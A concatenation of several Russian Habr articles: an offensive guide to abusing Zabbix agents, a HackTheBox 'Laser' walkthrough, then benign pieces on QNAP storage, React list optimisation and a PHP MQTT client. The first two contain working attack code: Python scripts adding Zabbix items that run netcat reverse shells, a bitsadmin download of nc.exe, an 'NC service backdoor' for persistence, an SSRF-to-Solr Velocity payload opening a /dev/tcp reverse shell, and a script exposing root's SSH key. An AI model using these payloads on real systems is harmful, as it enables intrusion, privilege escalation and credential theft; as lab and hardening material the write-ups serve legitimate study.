api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
hostname=raw_input("enter hostname: \n")
# hostid=raw_input("enter hostid: \n")
zapi = ZabbixAPI(api_address)
# Login to the Zabbix API
zapi.login(user, password)
host_name = hostname
hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
if hosts:
host_id = hosts[0]["hostid"]
print("Found host id {0}".format(host_id))
try:
item = zapi.item.create(
hostid=host_id,
name='netcat_create_reverse_shell',
key_='system.run["nc 192.168.56.100 4444 -e /bin/bash"]',
type=0,
value_type=4,
interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
delay=5
)
except ZabbixAPIException as e:
print(e)
sys.exit()
print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
else:
print("No hosts found")
```
*Результат работы скрипта*
*Как это выглядит в web-интерфейсе*
*Результат подключения к созданному шеллу*
В итоге был получен шелл с правами того пользователя, который запускает Zabbix-агента.
Но этот шелл не является постоянным, поэтому нужно попытаться создать на его основе новый шелл, который уже не будет зависеть от параметров Zabbix. Сделать это можно разными способами, один из которых – создать сценарий, который запустится в определенное время (командой at, например).
Сам процесс можно посмотреть [тут](https://youtu.be/Vw_AvSlB7f0).
Однако самый интересный способ будет рассмотрен для Windows, потому что по умолчанию в Windows Zabbix-агент устанавливается и запускается как служба с правами System.
*Права Zabbix-агента*
С учетом этого, любое приложение, запущенное агентом, будет также запущено с правами System. Вектор атаки при этом несколько усложнится:
1. Запускаем прослушку порта в kali:
```
# nc -lvvnp 5555
```
2. Создаем при помощи Zabbix задачу, которая загрузит на компьютер жертвы утилиту для шелла (будем использовать netcat для Windows) с компьютера злоумышленника (при помощи bitsadmin, для скачивания придется настроить Apache в Kali — и не забыть его запустить!):
```
from pyzabbix import ZabbixAPI, ZabbixAPIException
import sys
api_address=raw_input("enter correct URL to api_jsonrpc.php, like http://192.168.56.102/zabbix/api_jsonrpc.php"": \n")
user= raw_input("enter username: \n")
password= raw_input("enter password: \n")
host_name=raw_input("enter hostname: \n")
# hostid=raw_input("enter hostid: \n")
zapi = ZabbixAPI(api_address) # user='Admin', password='zabbix')
# Login to the Zabbix API
zapi.login(user, password)
# host_name = 'Zabbix_server'
# host_name = "windows host"
hosts = zapi.host.get(filter={"host": host_name}, selectInterfaces=["interfaceid"])
if hosts:
host_id = hosts[0]["hostid"]
print("Found host id {0}".format(host_id))
try:
item = zapi.item.create(
hostid=host_id,
name='netcat_create_reverse_shell',
key_='system.run["bitsadmin.exe /transfer /download http://192.168.56.100/nc.exe C:\\Temp\\nc.exe && C:\Temp\\nc.exe 192.168.56.100 5555 -e cmd.exe"]',
type=0,
value_type=4,
interfaceid=hosts[0]["interfaces"][0]["interfaceid"],
delay=30
)
except ZabbixAPIException as e:
print(e)
sys.exit()
print("Added item with itemid {0} to host: {1}".format(item["itemids"][0], host_name))
else:
print("No hosts found")
```
*Результат работы скрипта*
*Реакция Zabbix*
*Проверка шелла*
Шелл получен с параметрами System, однако он будет периодически обрываться. Это связано с параметром Timeout, который по умолчанию в конфиге агента не определен и составляет 3с. За это время сложная команда просто не успеет выполнится. Поэтому параметр Timeout был принят за 30с, о чем было предупреждено в начале статьи.
В принципе, злоумышленник сам может добавить значение опции Timeout=30 (по умолчанию опция Timeout закомментирована), просто дописав строку Timeout=30 в конец файла zabbix\_agentd.conf. Агент запущен как служба – следовательно, файл он менять может, достаточно прописать ему на сервере соответствующую задачу. Например добавить item, который будет с помощью удаленных команд дописывать нужные строки в конец конфигурационного файла.
Теперь нужно попытаться создать постоянный шелл, для чего создадим службу (права позволяют), которая тоже будет поднимать туннель с помощью nc. Сформируем команду для создания службы, сохраним ее в файл, а затем перенаправим его на вход nc (файл service.txt):
```
sc create reversencbackdoor binpath= "cmd /C C:\Users\Public\nc.exe 192.168.56.100 6666 -e cmd.exe" type= own start= auto DisplayName= "NC service backdoor"
```
Для управления службой используем аналогичный подход, изменив некоторые команды (файл service\_run.txt):
* sc query reversencbackdoor
* sc stop reversencbackdoor
* sc start reversencbackdoor
*Результат — успешное создание службы*
Попытаемся подключиться к созданной службе: включаем прослушивание на порту 6666 и запускаем службу, без этого она стартует и сразу завершает свою работу.
*Включение прослушивания*
*В другом окне отправляем службе команду на запуск*
По порту 5555 программа nc запущена Zabbix-агентом, следовательно, шелл обрывается, как и отмечено выше, из-за особенностей таймаута выполнения команд агентом. А служба стартует с параметрами System — и шелл не обрывается.
*Безобрывный шелл*
Сам процесс можно посмотреть [тут](https://youtu.be/5Rs8x7Mo7S4).
#### Какие можно сделать выводы из всего вышеописанного ?
1. При определенных настройках злоумышленник может перехватить zbx\_sessionid и закрепиться в системе Zabbix.
2. Используя особенности работы Zabbix-агента, злоумышленник (при определенных настройках агента) может проникнуть на все ПК, которые мониторятся Zabbix-сервером.
Как всегда, ноги большинства угроз безопасности растут из ошибок конфигурации, а система мониторинга является таким компонентом, неправильная (с точки зрения безопасности) конфигурация которого может критически повлиять на безопасность всех компонентов сети.
Поэтому стоит озаботиться защитой передаваемых данных.
Вот несколько рекомендаций по настройке сервера Zabbix:
* Усложните жизнь злоумышленнику — не используйте стандартные порты для работы Zabbix-сервера.
* Удалите с сервера утилиты, которые позволят злоумышленнику быстро пробросить туннель. Вообще надо обязательно очищать сервер от лишних утилит, которые может использовать злоумышленник.
* Разделите привилегии учетных записей пользователей в Zabbix. Отключите неиспользуемые учетные записи на Zabbix-сервере (guest надо выключить в первую очередь); по возможности, сделайте отдельную учетку для мониторинга параметров и отдельную — для администрирования, не забывайте переодически менять пароль у учетных записей и закрывать админскую сессию после работы в web-интерфейсе (сбрасывается zbx\_sessionid).
* Настройте аудит событий в Zabbix-сервере, чтобы фиксировать и отслеживать события безопасности, про настройки можно прочитать [тут](https://www.zabbix.com/documentation/3.0/ru/manual/web_interface/frontend_sections/reports/audit).
* По возможности, изолируйте Zabbix-сервер от тех компонентов, которые злоумышленник может использовать в качестве точки входа в корпоративную сеть. Например, вынести сервер Zabbix в DMZ и настроить Zabbix proxy для пересылки на него информации. Подробнее про Zabbix proxy можно почитать [тут](https://www.zabbix.com/documentation/3.0/ru/manual/distributed_monitoring/proxies).
* Настройте отправку оповещения о критических событиях, для этого в Zabbix есть достаточно широкие возможности
Безопасность агента Zabbix также требует пристального внимания:
* Усложните жизнь злоумышленнику, не используйте стандартные порты для работы Zabbix-агента.
* На Windows агент Zabbix запускается как служба, лучше сделать для нее отдельного пользователя. Иначе служба будет запущена с параметрами системной учетной записи.
* Задумайтесь, а так ли Вам нужен запуск удаленных команд с помощью Zabbix? Если нет — то отключите эту возможность.
* Настройте шифрование данных в конфиге агента.
Настройка безопасного доступа и повышение безопасности в Zabbix – это тема отдельной статьи (а возможно и не одной), будет время — обязательно об этом напишу.
P.S. Огромное спасибо [sabotaged](https://habrahabr.ru/users/sabotaged/) за помощь в подготовке статьи! | https://habr.com/ru/post/350108/ | null | ru | null |
# HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu).
В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.
**Организационная информация**
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал в Telegram](https://t.me/RalfHackerChannel) и [группу для обсуждения любых вопросов](https://t.me/RalfHackerPublicChat) в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации [рассмотрю лично и отвечу всем](https://t.me/hackerralf8).
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
-----
Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.
```
10.10.10.201 laser.htb
```
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
```
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
```
После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).
И мы находим даже [инструмент](https://github.com/RUB-NDS/PRET), который позволяет нам работать с принтером.
Entry Point
-----------
Давайте посмотрим, что мы можем в итоге получить.
Осмотревшись, мы находим только один файл.
Давайте получим его и откроем.
Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.
Но мы можем достать ключ шифрования.
Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
```
from Crypto.Cipher import AES
mess = open("./PRET/queued", "r").read()[2:].replace("'", "")
mess_decrypt = base64.b64decode(mess)
IV, CT = mess_decrypt[8:24], mess_decrypt[24:]
chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)
OT = chip.decrypt(CT)
with open("decr.pdf", "wb") as f:
f.write(OT)
```
По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.
Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC — это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.
Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
```
syntax = "proto3";
message Content {
string data = 1;
}
message Data {
float feed = 1;
}
service Print {
rpc Feed(Content) returns (Data) {}
}
```
Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая — набор примочек для автоматизации разработки.
```
sudo pip3 install grpcio
sudo pip3 install grpcio-tools
```
Теперь сгенерируем два файла.
```
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto
```
Файл \_pb2.py содержит описание протокола взаимодействия. Файл \_pb2\_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
```
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:22"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
print(response)
except Exception as e:
print(e.details())
```
То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
```
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
for port in range(1, 65536):
p = '{"feed_url":"http://localhost:'+ str(port) +'"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
print("Port found: " + str(port))
except Exception as e:
if "Connection refused" in e.details():
print("Port: "+ str(port), end="\r")
else:
print("Port open: " + str(port) + " "*10)
```
И находим нужный, отвечающий нам порт.
USER
----
Узнаем что это.
И находим даже [эксплоит](https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133). Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
```
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
stub.Feed(content, timeout=30)
except Exception as e:
print(e.details())
```
И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
```
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
except Exception as e:
print(e.details())
```
И у нас есть шелл от имени пользователя.
ROOT
----
Для удобного доступа сгенерируем и запишем SSH ключ.
Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.
Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.
Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост [socat](https://github.com/3ndG4me/socat/releases/tag/v1.7.3.3). После чего остановим службу SSH и выполним перенаправление.
А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
```
#!/bin/sh
cp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa
```
Подождав немного обнаружим желанный ключ.
И подключимся как root.
Вы можете присоединиться к нам в [Telegram](https://t.me/RalfHackerChannel). Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ. | https://habr.com/ru/post/533562/ | null | ru | null |
# Опыт разработки и внедрения систем объектовой видеоаналитики на СХД
СХД – это системы хранения данных, сервера или иные устройства с большим количеством установленных дисков и системами быстрого доступа к ним с гарантией сохранности информации (например, аппаратные или программные RAID-контроллеры). Если речь идёт про хранение видео с нескольких камер, то специализированных решений не требуется. СХД или обычные диски будут использоваться для хранения видеоархива и там же или на отдельном носителе будут храниться события (результат детекции, например, нарушения ПДД или пресечение запретных зон) для дальнейшего доступа к ним и анализа. Но если камер много, например, 80 штук и мы рассматриваем поток RTSP Full HD, 15 FPS с дорожных камер, то зарегистрированных событий в сутки будет уже около 100 Гб. Для хранения таких объемов данных требуются уже специализированные решения. Мы остановили свой выбор на СХД от компании QNAP, куда смогли встроить свой собственный продукт Cumulator. Цель и задача этого продукта – сбор событий с множества устройств: серверов для инференса (исполнения нейронных сетей), камер или микрокомпьютеров, установленных в непосредственной близости от камер.
*Сервер на базе Intel NUC, который осуществляет обработку данных с 80 камер с агрегацией этих данных через ПО Cumulator*
Цели и задачи, которые решает программный продукт Cumulator:
1. Сборка данных с множества устройств
2. Единая точка доступа к событиям по REST API
3. Централизованное хранение событий
4. Визуализация и отображение данных об установленных и подключенных устройствах и событиях на них в режиме реального времени
5. Управление множеством устройств (мониторинг, подключение)
Для интеграции мы остановились на QNAP AppCenter, т.к. внутри используются Docker-контейнеры, в рамках которых может работать программное обеспечение сторонних разработчиков. Тестовое оборудование QNAP:
*СХД QNAP для агрегации данных в объектовой видеоаналитике*
### Общая схема работы гибридного инференса
Для инференса (исполнения нейронных сетей) применяется три типа устройств: сервера в ДЦ в стойках на Intel NUC8i5BEK в форм-факторе 1U, сервера на Intel VCA2 на платформе Supermicro 1U, камеры с установленным в них ПО (Axis, Vivotek и др.), микрокомпьютеры наружной установки (в нашем варианте это или ARM на базе FriendlyARM Nano Pi M4, или х86 UP Board Intel Atom X5). Далее, с множества устройств (например, 2 сервера, 15 камер, 30 микрокомпьютеров) требуется агрегация и хранение данных. Для этого мы выбрали СХД от QNAP.
*Общая схема работы гибридного инференса*
### Технические детали
Все ПО было запущено на QNAP TVS-871T, Intel Core(TM) i5-4590S CPU 3.00GHz, Version 4.4.1.1086 (2019/10/10), Linux-kernel 4.14.24-qnap, под system-docker Version:17.09.1-ce, API version: 1.32, OS/Arch: linux/amd64
При тестировании решения СХД укомплектовали дисками Seagate 7200 Exos 7E2 объемом 1 Tb.
Cumulator запустился из консоли с помощью system-docker и через Container Station V2.0.356 (приложение в GUI-обертке для docker из AppCenter).
*QNAP Container Station*
Параллельно мы протестировали работу инференса на СХД. Мы смогли запустить инференс только в консоли на system-docker. Причина – в графическом интерфейсе нет настроек по расширенному монтированию разделов (проблема всех GUI-приложений — урезание настроек, которые обычным пользователям не нужны).
Docker-контейнеры собираются из образа с помощью docker-compose, на этом этапе сборку из Dockerfile не делали. Строка запуска выглядит так:
```
system-docker run --detach --name=edgeserver-testing -p 18081:8081 -p 18082:8082 -p 15433:5433 --mount type=bind,source=/sys/fs/cgroup,target=/sys/fs/cgroup --mount type=bind,source=/sys/fs/fuse,target=/sys/fs/fuse --mount type=tmpfs,destination=/run --privileged -v /dev/bus/usb:/dev/bus/usb --mount type=tmpfs,destination=/run/lock ubuntu-edge
```
Как можно заметить, мы запустили Docker в привилегированном режиме для того, чтобы ПО смогло обнаружить USB-ключи Sentinel (все порты, так как мы заранее не знаем куда могут быть вставлены ключи, в каком количестве и не будут ли они потом перемещены на другой порт). На этом этапе запуск в привилегированном режиме посчитали приемлемым.
### Резюме
Приложение Cumulator, запущенное на QNAP со статистикой потребления ресурсов CPU, RAM:
*Приложение Cumulator, запущенное на СХД QNAP*
По статистике потребления ресурсов видно, что их достаточно в рамках СХД. Фактически, инференс, т.е. исполнение нейронных сетей, выполняется на удаленных устройствах (серверах, камерах, специализированных устройствах рядом с камерами), а агрегацией, сборкой и хранением данных занимается само СХД со специализированным ПО. Это программное обеспечение собирает данные по REST API и по мере необходимости отдает смежным информационным системам. | https://habr.com/ru/post/478450/ | null | ru | null |
# Оптимизируем React приложение для отображения списка элементов
Отображение списка (множества) элементов на странице — это стандартная задача для практически любого web-приложения. В этом посте я хотел бы поделиться некоторыми советами по повышению производительности.
Для тестового примера я создам небольшое приложение, которое рисует множество «целей» (кругов) на элементе canvas. Я буду использовать **redux** как хранилище данных, но эти советы подойдут и для многих других способов хранения состояния.
Так же эти оптимизации можно применять с [react-redux](https://github.com/reactjs/react-redux), но для простоты описания я не буду использовать эту библиотеку.
Данные советы могут повысить производительность приложения в 20 раз.
Начнем с описания состояния:
```
function generateTargets() {
return _.times(1000, (i) => {
return {
id: i,
x: Math.random() * window.innerWidth,
y: Math.random() * window.innerHeight,
radius: 2 + Math.random() * 5,
color: Konva.Util.getRandomColor()
};
});
}
// для теста логика будет очень простая
// только одно действие "UPDATE", которое меняет радиус цели
function appReducer(state, action) {
if (action.type === 'UPDATE') {
const i = _.findIndex(state.targets, (t) => t.id === action.id);
const updatedTarget = {
...state.targets[i],
radius: action.radius
};
state = {
targets: [
...state.targets.slice(0, i),
updatedTarget,
...state.targets.slice(i + 1)
]
}
}
return state;
}
const initialState = {
targets: generateTargets()
};
// создаем хранилище
const store = Redux.createStore(appReducer, initialState);
```
Теперь напишем отрисовку приложения. Я буду использовать [react-konva](https://github.com/lavrton/react-konva) для рисования на canvas.
```
function Target(props) {
const {x, y, color, radius} = props.target;
return (
);
}
// верхний компонент для отображения множества
class App extends React.Component {
constructor(...args) {
super(...args);
this.state = store.getState();
// subscibe to all state updates
store.subscribe(() => {
this.setState(store.getState());
});
}
render() {
const targets = this.state.targets.map((target) => {
return ;
});
const width = window.innerWidth;
const height = window.innerHeight;
return (
{targets}
);
}
}
```
Полное демо: <http://codepen.io/lavrton/pen/GZXzGm>
Теперь давайте напишем простой тест, который будет обновлять одну «цель».
```
const N_OF_RUNS = 500;
const start = performance.now();
_.times(N_OF_RUNS, () => {
const id = 1;
let oldRadius = store.getState().targets[id].radius;
// обновим redux хранилище
store.dispatch({type: 'UPDATE', id, radius: oldRadius + 0.5});
});
const end = performance.now();
console.log('sum time', end - start);
console.log('average time', (end - start) / N_OF_RUNS);
```
Теперь запускаем тесты без каких-либо оптимизаций. На моей машине одно обновление занимает примерно 21мс.
Это время не включает в себя процесс рисования на canvas элемент. Только react и redux код, потому что [react-konva](https://github.com/lavrton/react-konva) будет рисовать на canvas только в следующем тике анимации (асинхронно). Сейчас я не буду рассматривать оптимизацию рисования на canvas. Это тема для другой статьи.
И так, 21мс для 1000 элеметнов это достаточно хорошая производительность. Если мы обновляем элементы достаточно редко мы может оставить этот код как есть.
Но у меня была ситуация когда обновлять элементы нужно было очень часто (при каждой движении мыши во время drag&drop). Для того, чтобы получить 60FPS нужно чтобы одно обновление занимало не больше 16мс. Так что 21мс это уже не так здорово (помните что еще потом будет происходить рисование на canvas).
И так что же можно сделать?
1. Не обновлять элементы, которые не изменились
-----------------------------------------------
Собсвено это самое первое и очевидное правило для повышения производительности. Всё что нам нужно сделать это реализовать **shouldComponentUpdate** для компонента **Target**:
```
class Target extends React.Component {
shouldComponentUpdate(newProps) {
return this.props.target !== newProps.target;
}
render() {
const {x, y, color, radius} = this.props.target;
return (
);
}
}
```
Результат такого дополнения (<http://codepen.io/lavrton/pen/XdPGqj>):
Супер! 4мс это уже намного лучше чем 21мс. Но можно ли лучше? В моём реальном приложении даже после такой оптимизации производительность была не очень.
Взгляните на функцию **render** компонента **App**. Штука, которая мне не очень нравится — это то, что код функции **render** будет выполняться при КАЖДОМ обновлении. То есть мы имеем 1000 вывозов **React.createElement** для каждой «цели». Для данного примера это работает быстро, но в реальном приложении все может быть печально.
Почему мы должны перерисовывать весь список, если мы знаем, что обновился только один элемент? Можно ли напрямую обновить этот один элемент?
2 Делаем дочерние элементы «умными»
-----------------------------------
Идея очень проста:
1. Не обновлять компонент App если список имеет такое же количество элементов и их порядок не изменился.
2. Дочерние элементы должны обновить сами себя, если данные изменились.
Итак, компонент **Target** должен слушать изменения в состоянии и применять изменения:
```
class Target extends React.Component {
constructor(...args) {
super(...args);
this.state = {
target: store.getState().targets[this.props.index]
};
// subscibe to all state updates
this.unsubscribe = store.subscribe(() => {
const newTarget = store.getState().targets[this.props.index];
if (newTarget !== this.state.target) {
this.setState({
target: newTarget
});
}
});
}
shouldComponentUpdate(newProps, newState) {
return this.state.target !== newState.target;
}
componentWillUnmount() {
this.unsubscribe();
}
render() {
const {x, y, color, radius} = this.state.target;
return (
);
}
}
```
Так же нам нужно реализовать **shouldComponentUpdate** для компонента **App**:
```
shouldComponentUpdate(newProps, newState) {
// проверяем что порядок и кол-во элементов остались прежними
// то есть если id остались прежними, значит у нас нет "больших" изменений
const changed = newState.targets.find((target, i) => {
return this.state.targets[i].id !== target.id;
});
return changed;
}
```
Результат после данных изменений (<http://codepen.io/lavrton/pen/bpxZjy>):
0.25мс на одно обновление это уже намного лучше.
Бонусный совет
--------------
Используйте <https://github.com/mobxjs/mobx> чтобы не писать код всех этих подписок на изменения и проверок. То же приложение, только написанное с помощью **mobx** (<http://codepen.io/lavrton/pen/WwPaeV>):
Работает примерно в 1.5 раза быстрее, чем предыдущий результат (разница будет более заметная для большего кол-ва элементов). И код намного проще:
```
const {Stage, Layer, Circle, Group} = ReactKonva;
const {observable, computed} = mobx;
const {observer} = mobxReact;
class TargetModel {
id = Math.random();
@observable x = 0;
@observable y = 0;
@observable radius = 0;
@observable color = null;
constructor(attrs) {
_.assign(this, attrs);
}
}
class State {
@observable targets = [];
}
function generateTargets() {
_.times(1000, (i) => {
state.targets.push(new TargetModel({
id: i,
x: Math.random() * window.innerWidth,
y: Math.random() * window.innerHeight,
radius: 2 + Math.random() * 5,
color: Konva.Util.getRandomColor()
}));
});
}
const state = new State();
generateTargets();
@observer
class Target extends React.Component {
render() {
const {x, y, color, radius} = this.props.target;
return (
);
}
}
@observer
class App extends React.Component {
render() {
const targets = state.targets.map((target) => {
return ;
});
const width = window.innerWidth;
const height = window.innerHeight;
return (
{targets}
);
}
}
ReactDOM.render(
,
document.getElementById('container')
);
``` | https://habr.com/ru/post/304340/ | null | ru | null |
# Использование протокола MQTT в PHP
[](https://habr.com/ru/company/ruvds/blog/676284/)
Статья посвящена использованию библиотеки php-mqtt/client в PHP-проектах для реализации функций подключения, подписки, отписки, а также обмена сообщениями между MQTT-клиентом и сервером.
Выбор клиентской библиотеки MQTT
--------------------------------
Для этого проекта я выбрал [php-mqtt/client](https://packagist.org/packages/php-mqtt/client), которая имеет больше всего загрузок через Composer. С другими клиентскими библиотеками PHP-MQTT можно ознакомиться на ресурсе [Packagist](https://packagist.org/search/?query%20=mqtt) через поиск по запросу MQTT.
[Протокол MQTT](https://mqtt.org) используется в сценариях, требующих передачи очень малых объемов данных, в частности, для IoT-решений. Ввиду ограниченности возможностей PHP для сетевой коммуникации уместно использовать расширения вроде Swoole или Workerman, но в данной статье они рассматриваться не будут. Если интересно, вот пара актуальных вариантов:
* [workerman/mqtt](https://packagist.org/packages/workerman/mqtt): асинхронный MQTT-клиент для PHP на базе workerman;
* [simps/mqtt](https://packagist.org/packages/simps/mqtt): анализ протокола MQTT и Coroutine-клиент для PHP.
Инициализация проекта
---------------------
### ▍ Проверка версии PHP
В этом проекте для разработки и тестирования используется версия 7.4.21. Свою версию вы можете проверить следующей командой:
```
php --version
PHP 7.4.21 (cli) (built: Jul 12 2021 11:52:30) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies
with Zend OPcache v7.4.21, Copyright (c), by Zend Technologies
```
### ▍ Установка php-mqtt/client через Composer
Composer – это менеджер управления зависимостями для PHP. Для установки с его помощью библиотеки выполните:
```
composer require php-mqtt/client
```
Подключение к MQTT-серверу
--------------------------
Мы будем использовать публичный MQTT-сервер EMQX. Вот данные для подключения:
* Broker: broker.emqx.io
* TCP Port: 1883
* SSL/TLS Port: 8883
### ▍Импорт файла автозагрузки и php-mqtt/client
```
require('vendor/autoload.php');
use \PhpMqtt\Client\MqttClient;
```
### ▍ Установка подключения к MQTT-брокеру
Устанавливаем адрес подключения, порт и топик. В то же время вызываем функцию `rand` для генерации случайного ID клиента.
```
$server = 'broker.emqx.io';
$port = 1883;
$clientId = rand(5, 15);
$username = 'emqx_user';
$password = null;
$clean_session = false;
```
### ▍ Написание функции подключения
Используем приведенные выше параметры для подключения, устанавливая их через `ConnectionSettings`:
```
$connectionSettings = new ConnectionSettings();
$connectionSettings
->setUsername($username)
->setPassword(null)
->setKeepAliveInterval(60)
->setLastWillTopic('emqx/test/last-will')
->setLastWillMessage('client disconnect')
->setLastWillQualityOfService(1);
```
Подписка
--------
Подписываемся на топик `emqx/test` и настраиваем функцию обратного вызова на обработку получаемого сообщения:
```
$mqtt->subscribe('emqx/test', function ($topic, $message) {
printf("Received message on topic [%s]: %s\n", $topic, $message);
}, 0);
```
Публикация
----------
Создаем полезную нагрузку и вызываем функцию `publish` для публикации сообщений в топике `emqx/test`. После публикации клиенту нужно войти в режим опроса для обработки входящих сообщений и очереди повторной передачи:
```
for ($i = 0; $i< 10; $i++) {
$payload = array(
'protocol' => 'tcp',
'date' => date('Y-m-d H:i:s'),
'url' => 'https://github.com/emqx/MQTT-Client-Examples'
);
$mqtt->publish(
// топик
'emqx/test',
// полезная нагрузка
json_encode($payload),
// qos
0,
// удержание сообщений
true
);
printf("msg $i send\n");
sleep(1);
}
// Цикл для обработки входящих сообщений и очереди повторной передачи
$mqtt->loop(true);
```
Весь код
---------
Код для подключения к серверу, публикации сообщений и их получения:
```
php
require('vendor/autoload.php');
use \PhpMqtt\Client\MqttClient;
use \PhpMqtt\Client\ConnectionSettings;
$server = 'broker.emqx.io';
$port = 1883;
$clientId = rand(5, 15);
$username = 'emqx_user';
$password = null;
$clean_session = false;
$connectionSettings = new ConnectionSettings();
$connectionSettings
-setUsername($username)
->setPassword(null)
->setKeepAliveInterval(60)
->setLastWillTopic('emqx/test/last-will')
->setLastWillMessage('client disconnect')
->setLastWillQualityOfService(1);
$mqtt = new MqttClient($server, $port, $clientId);
$mqtt->connect($connectionSettings, $clean_session);
printf("client connected\n");
$mqtt->subscribe('emqx/test', function ($topic, $message) {
printf("Received message on topic [%s]: %s\n", $topic, $message);
}, 0);
for ($i = 0; $i< 10; $i++) {
$payload = array(
'protocol' => 'tcp',
'date' => date('Y-m-d H:i:s'),
'url' => 'https://github.com/emqx/MQTT-Client-Examples'
);
$mqtt->publish(
// топик
'emqx/test',
// полезная нагрузка
json_encode($payload),
// qos
0,
// удержание сообщения
true
);
printf("msg $i send\n");
sleep(1);
}
$mqtt->loop(true);
```
Тестирование
